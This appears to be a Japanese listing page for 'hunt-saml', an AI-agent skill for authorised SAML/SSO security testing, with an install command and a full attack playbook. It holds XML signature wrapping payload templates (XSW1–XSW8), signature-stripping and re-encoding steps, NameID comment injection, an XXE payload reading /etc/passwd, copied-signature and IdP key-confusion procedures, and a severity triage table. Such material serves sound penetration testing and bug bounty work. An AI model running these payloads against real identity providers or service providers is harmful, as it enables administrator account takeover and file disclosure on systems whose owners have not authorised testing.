hunt-saml について
hunt-samlは、SAMLとSSOの実装を評価するセキュリティテスト用スキルです。許可を得たテスター向けに、攻撃面やバイパス手法、証拠に基づく判定をまとめています。
主な機能
- 01SAMLエンドポイントの検出
- 02XML署名ラッピングのテスト
- 03パーサー差異と署名混同の検証
- 04XXEとNameID操作の確認
- 05脆弱性の深刻度と影響の判定
活用シーン
- 01許可されたテストでのSAMLログイン評価
- 02署名検証とパーサー動作の確認
- 03SAMLの変更が認可に影響するかの検証
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-samlインストール後、Claude Code で/hunt-samlを入力して読み込まれたか確認します。
詳細
20. SAML / SSO 攻撃
SSO の脆弱性は、High~Critical の報奨金につながることがよくあります。XML パーサーの挙動には、悪名高いほど一貫性がありません。
攻撃対象領域
# Find SAML endpoints
cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp"
# Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callback
攻撃 1:XML Signature Wrapping(XSW)
<saml:Response>
<saml:Assertion ID="legit">
<NameID>[email protected]</NameID>
<ds:Signature></ds:Signature>
</saml:Assertion>
</saml:Response>
<saml:Response>
<saml:Assertion ID="evil">
<NameID>[email protected]</NameID>
</saml:Assertion>
<saml:Assertion ID="legit">
<NameID>[email protected]</NameID>
<ds:Signature></ds:Signature>
</saml:Assertion>
</saml:Response>
攻撃 2:NameID へのコメントインジェクション
<NameID>[email protected]</NameID>
攻撃 3:署名の削除
1. Decode SAMLResponse: echo "BASE64" | base64 -d | xmllint --format - > saml.xml
2. Delete the entire <Signature> element
3. Change NameID to [email protected]
4. Re-encode: base64 -w0 saml.xml (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)
5. Submit — if server doesn't verify signature presence = admin ATO
攻撃 4:SAML アサーションでの XXE
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Assertion>
<NameID>&xxe;</NameID>
</saml:Assertion>
攻撃 5:NameID の操作
Test these NameID values:
- [email protected] (generic admin)
- [email protected]
- [email protected]
- Any email found in disclosed reports for this program
- ${7*7} (SSTI if NameID gets rendered in a template)
ツール
# SAMLRaider (Burp extension) — automated XSW testing
# BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab
# Manual workflow:
echo "BASE64_SAML" | base64 -d > saml.xml
# Edit saml.xml
base64 -w0 saml.xml # Re-encode
# URL-encode the result before sending as SAMLResponse parameter
SAML のトリアージ
XSW successful = Critical (ATO any user)
Sig stripping = Critical (ATO any user)
Comment injection = High (ATO admin)
XXE in assertion = High (file read / SSRF)
NameID manip = Medium/High (depends on what NameID maps to)
攻撃 6:脆弱なロック — SAML バイパス(Fedotkin、2025年12月)
出典: https://portswigger.net/research/the-fragile-lock
Alexander Fedotkin による2025年12月の調査では、パーサーの差異、正規化の不一致、複数署名の混同に根差す、SAML バイパスの一連の手法が明らかになっています。主な攻撃ベクトルは次の3つです。
6a. パーサーの差異
異なる XML パーサー(libxml2、Xerces、MSXML、.NET の System.Xml)は、次の点で異なる解釈をします。
- XML コメントの境界 — 署名者は
C14N without commentsを使用し、検証側はC14N with commentsを使用する(またはその逆)場合があります。実際に署名された値と、検証された値が異なります。 - 空白の正規化 — 末尾にスペースがある
NameID、属性間のタブとスペースの違い、名前空間プレフィックスの展開(xmlns:prefix と継承されたデフォルト名前空間)。 - エンティティ展開の順序 — パーサーの処理過程における内部エンティティと外部エンティティの処理順序によって、解析後の DOM が、署名前に検証された正規形と異なる場合があります。
- CDATA セクションの処理 —
<NameID><![CDATA[[email protected]]]></NameID>と<NameID>[email protected]</NameID>の違いです。CDATA を除去するパーサーもあれば、そのまま保持するパーサーもあります。
検出スクリプト:
# Re-encode the same SAML assertion with multiple XML formatting variations.
# If any variation produces a different NameID than what was signed → parser differential.
# Variation 1 — Whitespace in element content
echo "<saml:Assertion ID="legit"><NameID> [email protected] </NameID><ds:Signature>...</ds:Signature></saml:Assertion>" | base64
# Variation 2 — CDATA wrapping
echo "<saml:Assertion ID="legit"><NameID><![CDATA[[email protected]]]></NameID><ds:Signature>...</ds:Signature></saml:Assertion>" | base64
# Variation 3 — Namespace redeclaration
echo "<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="legit"><NameID>[email protected]</NameID><ds:Signature>...</ds:Signature></saml:Assertion>" | base64
6b. 複数署名/署名のコピー
一部の SP は、複数の <ds:Signature> 要素を含むアサーションを受け入れます。攻撃者は次の操作を行えます。
- 任意のアサーションに対する有効な署名を取得します(たとえば、公開されている SAML デモ IdP や過去のログインから取得します)。
- 元の署名付きアサーションを削除し、
<ds:Signature>のみを残します。 - コピーした署名要素を付けた、新たな悪意のあるアサーションでラップします。
<saml:Response>
<saml:Assertion ID="evil">
<NameID>[email protected]</NameID>
<AttributeStatement>
<Attribute Name="Role"><AttributeValue>Administrator</AttributeValue></Attribute>
</AttributeStatement>
</saml:Assertion>
<ds:Signature></ds:Signature>
</saml:Response>
6c. 新しい XSW の亜種(XSW2~XSW8)
古典的な XSW1(重複アサーションの挿入)に加え、これらの亜種は、位置ベースまたは ID ベースの署名バインディングを追加した最新の SAML ライブラリを回避します。
| 亜種 | 手法 | 回避対象 |
|---|---|---|
| XSW2 | 悪意のあるアサーションの子要素内に <ds:Signature> を移動する | ルートに対する署名の位置を検証するライブラリ |
| XSW3 | 参照 URI の XML コメント境界をまたいでアサーションを分割する | URI フラグメント照合を使用するライブラリ |
| XSW4 | 署名付きアサーション内に2つ目の AssertionIDRef/AuthnStatement を挿入する | 最初のステートメントだけでなく、すべてのステートメントを処理するライブラリ |
| XSW5 | 署名付き参照の URI に一致する xml:id/ID 属性を、挿入したアサーションに設定する | DOM 上の位置ではなく ID 文字列で照合するライブラリ |
| XSW6 | 名前空間プレフィックスのインジェクション — SAML 名前空間の別名を宣言し、挿入したアサーションで異なるプレフィックスを使いながら、同じ名前空間を指定する | プレフィックス文字列を基準にするライブラリ |
| XSW7 | 署名参照 URI 内に XML External Entity(XXE)を挿入し、ダイジェスト検証を汚染する | 署名検証時にエンティティを解決するライブラリ |
| XSW8 | <ds:Transform> 要素に XSLT 変換を挿入し、署名後の DOM を変換する | 検証後に変換を適用するライブラリ |
XSW2~XSW5 のプロービングスクリプト:
# XSW2: Signature inside child element
xsw2_payload = '''<saml:Response>
<saml:Assertion ID="evil">
<NameID>[email protected]</NameID>
<ds:Signature></ds:Signature>
</saml:Assertion>
</saml:Response>'''
# XSW3: Comment-split URI reference
xsw3_payload = '''<saml:Response>
<saml:Assertion ID="legit">
...
</saml:Assertion>
<saml:Assertion ID="evil">
<NameID>[email protected]</NameID>
</saml:Assertion>
</saml:Response>'''
# XSW4: Extra statement inside the legit assertion
xsw4_payload = '''<saml:Response>
<saml:Assertion ID="legit">
<ds:Signature></ds:Signature>
<saml:AuthnStatement>
<saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PreviousSession</saml:AuthnContextClassRef></saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute Name="Role"><saml:AttributeValue>Administrator</saml:AttributeValue></saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</saml:Response>'''
トリアージ:鍵の混同による亜種
SP が複数の IdP を信頼している場合(フェデレーション環境では一般的です)、IdP-A(攻撃者が制御する IdP)で署名されたアサーションが、IdP-B(被害者の IdP)を信頼する SP に送信されます。SP が <Issuer> または <AudienceRestriction> を検証しない場合、攻撃者の IdP が署名したアサーションによってアクセスが許可されます。
# Test key confusion:
# 1. Register as an IdP on a federated platform
# 2. Sign an assertion for [email protected] with YOUR IdP's private key
# 3. POST to victim SP's AssertionConsumerService
# 4. If SP accepts the assertion without checking Issuer = expected IdP → ATO
検証
次のセルフテストを実行して、SAML ハンティングの準備が整っていることを確認します。
-
スキルの整合性 — スキルファイルが読み取り可能で、正しい形式であることを確認します。
grep -q "name: hunt-saml" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
カテゴリの確認 — スキルにカテゴリがあることを確認します。
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
落とし穴のセクション — 落とし穴が記載されていることを確認します。
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
3 つのテストすべてで、スキルが適切に構成され、使用する準備が整っていることを確認します。
関連スキルとチェーン
hunt-ato— オーディエンス制限の検証が欠落した SAML XSW は、SP の管理者なりすましチェーンの典型例です。チェーンのプリミティブ:XSW1 攻撃で署名済みアサーションを2番目の位置に移動し、[email protected]の不正なアサーションを先頭の位置に挿入する → SP が最初のアサーション(不正なアサーション)を処理する → SP が<AudienceRestriction>を検証しないため、IdP-A 向けのアサーションが SP-B に受け入れられる → フェデレーションされたテナント境界を越えて管理者 ATO が成立します。hunt-auth-bypass— SAML の署名削除は、認証バイパスの典型的なパターンです。このスキルでは SAML の仕組みを、hunt-auth-bypass ではより広範なバイパス対策を説明します。チェーンのプリミティブ:有効な SAMLResponse を取得 →<ds:Signature>要素全体を正規表現で削除 →<NameID>を admin に変更 → base64 で再エンコード →/saml/acsに POST → wantAssertionsSigned=false の SP が気づかずに受け入れる → 暗号学的なチャレンジなしで管理者セッションが発行されます。hunt-oauth— SAML を前段に置く OAuth 発行者では、アサーションレベルのバグがトークンレベルの ATO につながります。チェーンのプリミティブ:SP が SAML アサーションを検証した後に OAuth ベアラートークンを発行する → XSW で NameID を admin に変更する → SP のトークンエンドポイントが管理者クレームを含む OAuth トークンを発行する → 下流の OAuth スコープ付き API(管理者 API、請求 API、ユーザー管理 API)がすべて、1つの偽造アサーションから管理者アクセスを許可します。hunt-xxe— SAML アサーションは XML です。アサーションパーサーの XXE は、XSW に加えて発生しうる別個のチェーンです。チェーンのプリミティブ:disallow-doctype-declを設定していない SAML パーサー + アサーション内の<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>+<NameID>&xxe;</NameID>→ SP が NameID を表示またはログに記録する →/etc/passwdの内容がエラーレスポンスまたは監査ログに漏えいする → SAML SP のインフラストラクチャーに対するファイル読み取りのプリミティブが成立します。security-arsenal— 「誤ったエンドポイントで SAMLResponse が受け入れられる」という、実際には検証を伴わない主張を棄却するための常時棄却リストと、SAML/XSW ペイロードカタログ(XSW1〜XSW8 のテンプレート、libxml/Xerces/MSXML パーサーの違いに対応したコメントインジェクションのバリエーション、複数の Reference 要素を使う署名ラッピング、信頼を適切に検証しない SP が攻撃者の IdP 署名付きアサーションを受け入れる鍵混同ペイロード)を取得します。triage-validation— NameID、AuthnContext、またはロールを含む AttributeStatements を変更せず、セキュリティに関係しない属性(表示名、ロケール)だけを変更する SAML の「脆弱性」を Critical と主張する前に、重大度判定前ゲートを実行します。認可境界を越えない理論上の XML 操作は Critical ではなく Informational です。ゲートでは、認証判断が変わるかどうかを確認します。